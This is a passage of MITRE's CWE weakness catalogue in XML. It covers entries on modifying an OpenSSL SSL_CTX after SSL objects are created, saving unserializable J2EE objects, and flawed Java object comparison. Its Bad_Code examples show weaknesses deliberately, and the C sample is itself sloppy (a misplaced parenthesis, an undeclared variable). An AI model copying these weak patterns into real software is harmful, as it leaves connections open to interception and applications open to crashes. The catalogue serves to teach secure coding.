				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>287</Relationship_Target_ID>
					          <!--Improper Authentication-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>724</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 2, "Untrustworthy Credentials", Page
						37.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Broken Authentication and Session
						Management</Mapped_Node_Name>
					          <Mapped_Node_ID>A3</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>115</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="593" Name="Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software modifies the SSL context after connection creation
					has begun.</Description_Summary>
				        <Extended_Description>
					          <Text>If the program modifies the SSL_CTX object after creating SSL objects from
						it, there is the possibility that older SSL objects created from the
						original context could all be affected by that change.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>666</Relationship_Target_ID>
					          <!--Operation on Resource in Wrong Phase of Lifetime-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>592</Relationship_Target_ID>
					          <!--Authentication Bypass Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>898</Relationship_Target_ID>
					          <!--SFP Cluster: Authentication-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>No authentication takes place in this process, bypassing an assumed
							protection of encryption.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The encrypted communication between a user and a trusted host may be
							subject to a "man in the middle" sniffing attack.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a language which provides a cryptography framework at a higher
							level of abstraction.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Most SSL_CTX functions have SSL counterparts that act on SSL-type
							objects.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Applications should set up an SSL_CTX completely, before creating SSL
							objects from it.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text/>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define CERT "secret.pem"</Code>
							              <Code>#define CERT2 "secret2.pem"</Code>
							              <Code/>
							              <Code>int main(){</Code>
							              <Block>
								                <Code>SSL_CTX *ctx;</Code>
								                <Code>SSL *ssl;</Code>
								                <Code>init_OpenSSL();</Code>
								                <Code>seed_prng();</Code>
								                <Code/>
								                <Code>ctx = SSL_CTX_new(SSLv23_method());</Code>
								                <Code/>
								                <Code>if (SSL_CTX_use_certificate_chain_file(ctx, CERT) != 1)</Code>
								                <Block>
									                  <Code>int_error("Error loading certificate from file");</Code>
								                </Block>
								                <Code/>
								                <Code>if (SSL_CTX_use_PrivateKey_file(ctx, CERT, SSL_FILETYPE_PEM)
									!= 1)</Code>
								                <Block>
									                  <Code>int_error("Error loading private key from file");</Code>
								                </Block>
								                <Code/>
								                <Code>if (!(ssl = SSL_new(ctx)))</Code>
								                <Block>
									                  <Code>int_error("Error creating an SSL context");</Code>
								                </Block>
								                <Code/>
								                <Code>if ( SSL_CTX_set_default_passwd_cb(ctx, "new default password"
									!= 1))</Code>
								                <Block>
									                  <Code>int_error("Doing something which is dangerous to do
										anyways");</Code>
								                </Block>
								                <Code/>
								                <Code>if (!(ssl2 = SSL_new(ctx)))</Code>
								                <Block>
									                  <Code>int_error("Error creating an SSL context");</Code>
								                </Block>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>94</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Description, Other_Notes,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="594" Name="J2EE Framework: Saving Unserializable Objects to Disk" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>When the J2EE container attempts to write unserializable
					objects to disk there is no guarantee that the process will complete
					successfully.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>485</Relationship_Target_ID>
					          <!--Insufficient Encapsulation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="Java"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>In heavy load conditions, most J2EE application frameworks flush objects
						to disk to manage memory requirements of incoming requests. For example,
						session scoped objects, and even application scoped objects, are written to
						disk when required. While these application frameworks do the real work of
						writing objects to disk, they do not enforce that those objects be
						serializable, thus leaving your web application vulnerable to serialization
						failure induced crashes. An attacker may be able to mount a denial of
						service attack by sending enough requests to the server to force the web
						application to save objects to disk.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Data represented by unserializable objects can be corrupted.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Non-serializability of objects can lead to system crash.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>All objects that become part of session
							and application scope must implement the java.io.Serializable interface
							to ensure serializability of containing objects.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example, a Customer Entity JavaBean provides
						access to customer information in a database for a business application. The
						Customer Entity JavaBean is used as a session scoped object to return
						customer information to a Session EJB.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>@Entity</Code>
							              <Code>public class Customer {</Code>
							              <Code/>
							              <Block>
								                <Code>private String id;</Code>
								                <Code>private String firstName;</Code>
								                <Code>private String lastName;</Code>
								                <Code>private Address address;</Code>
								                <Code/>
								                <Code>public Customer() {</Code>
								                <Code>}</Code>
								                <Code/>
								                <Code>public Customer(String id, String firstName, String lastName)
									{...}</Code>
								                <Code/>
								                <Code>@Id</Code>
								                <Code>public String getCustomerId() {...}</Code>
								                <Code/>
								                <Code>public void setCustomerId(String id) {...}</Code>
								                <Code/>
								                <Code>public String getFirstName() {...}</Code>
								                <Code/>
								                <Code>public void setFirstName(String firstName) {...}</Code>
								                <Code/>
								                <Code>public String getLastName() {...}</Code>
								                <Code/>
								                <Code>public void setLastName(String lastName) {...}</Code>
								                <Code/>
								                <Code>@OneToOne()</Code>
								                <Code>public Address getAddress() {...}</Code>
								                <Code/>
								                <Code>public void setAddress(Address address) {...}</Code>
							              </Block>
							              <Code/>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the Customer Entity JavaBean is an unserialized object which
							can cause serialization failure and crash the application when the J2EE
							container attempts to write the object to the system. Session scoped
							objects must implement the Serializable interface to ensure that the
							objects serialize properly.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class Customer implements Serializable {...}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Persistence in J2EE
						Frameworks</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="595" Name="Comparison of Object References Instead of Object Contents" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The program compares object references instead of the contents
					of the objects themselves, preventing it from detecting equivalent
					objects.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>697</Relationship_Target_ID>
					          <!--Insufficient Comparison-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>569</Relationship_Target_ID>
					          <!--Expression Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>171</Relationship_Target_ID>
					          <!--Cleansing, Canonicalization, and Comparison Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>847</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 02 - Expressions (EXP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Other_Notes>
				        <Note>
					          <Text>This problem can cause unexpected application behavior. Comparing objects
						using == usually produces deceptive results, since the == operator compares
						object references rather than values. To use == on a string, the programmer
						has to make sure that these objects are unique in the program, that is, that
						they don't have the equals method defined or have a static factory that
						produces unique objects.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>This weakness can lead to erroneous results that can cause unexpected
							application behaviors.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use the equals() method to compare objects instead of the == operator.
							If using ==, it is important for performance reasons that your objects
							are created by a static factory, not by a constructor.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-60">
					          <Intro_Text>In the example below, two Java String objects are declared and
						initialized with the same string values and an if statement is used to
						determine if the strings are equivalent.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String str1 = new String("Hello");</Code>
							              <Code>String str2 = new String("Hello");</Code>
							              <Code>if (str1 == str2) {</Code>
							              <Block>
								                <Code>System.out.println("str1 == str2");</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, the if statement will not be executed as the strings are
							compared using the "==" operator. For Java objects, such as String
							objects, the "==" operator compares object references, not object
							values. While the two String objects above contain the same string
							values, they refer to different object references, so the
							System.out.println statement will not be executed. To compare object
							values, the previous code could be modified to use the equals
							method:</Text>
						            <Block Block_Nature="Good_Code">
							              <Code>if (str1.equals(str2)) {</Code>
							              <Block>
								                <Code>System.out.println("str1 equals str2");</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example, two BankAccount objects are compared
						in the isSameAccount method using the == operator.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public boolean isSameAccount(BankAccount accountA, BankAccount
								accountB) {</Code>
							              <Block>
								                <Code>return accountA == accountB;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>Using the == operator to compare objects may produce incorrect or
							deceptive results by comparing object references rather than values. The
							equals() method should be used to ensure correct results or objects
							should contain a member variable that uniquely identifies the object. </Text>
						            <Text>The following example shows the use of the equals() method to compare
							the BankAccount objects and the next example uses a class get method to
							retrieve the bank account number that uniquely identifies the
							BankAccount object to compare the objects.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public boolean isSameAccount(BankAccount accountA, BankAccount
								accountB) {</Code>
							              <Block>
								                <Code>return accountA.equals(accountB);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Use the two-argument Arrays.equals() method to compare the
						contents of arrays</Mapped_Node_Name>
					          <Mapped_Node_ID>EXP02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Use the two-argument Arrays.equals() method to compare the
						contents of arrays</Mapped_Node_Name>
					          <Mapped_Node_ID>EXP02-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Do not use the equality operators when comparing values of
						boxed primitives</Mapped_Node_Name>
					          <Mapped_Node_ID>EXP03-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Incorrect Object Comparison:
						Syntactic</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Incorrect Syntactic Object
						Comparison</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="596" Name="Incorrect Semantic Object Comparison" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software does not correctly compare two objects based on
					their conceptual content.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>569</Relationship_Target_ID>
					          <!--Expression Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>697</Relationship_Target_ID>
					          <!--Insufficient Comparison-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>171</Relationship_Target_ID>
					          <!--Cleansing, Canonicalization, and Comparison Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>840</Relationship_Target_ID>
					          <!--Business Logic Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Manual Static Analysis</Method_Name>
					          <Method_Description>
						            <Text>Requires domain-specific knowledge to determine if the comparison is
							incorrect.</Text>
					          </Method_Description>
				        </Detection_Method>
			      </Detection_Methods>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>For example, let's say you have two truck objects that you want to
						compare for equality. Truck objects are defined to be the same if they have
						the same make, the same model, and were manufactured in the same year. A
						Semantic Incorrect Object Comparison would occur if only two of the three
						factors were checked for equality. So if only make and model are compared
						and the year is ignored, then you have an incorrect object
						comparison.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class Truck {</Code>
							              <Block>
								                <Code>private String make;</Code>
								                <Code>private String model;</Code>
								                <Code>private int year;</Code>
								                <Code/>
								                <Code>public boolean equals(Object o) {</Code>
								                <Block>
									                  <Code>if (o == null) return false;</Code>
									                  <Code>if (o == this) return true;</Code>
									                  <Code>if (!(o instanceof Truck)) return false;</Code>
									                  <Code/>
									                  <Code>Truck t = (Truck) o;</Code>
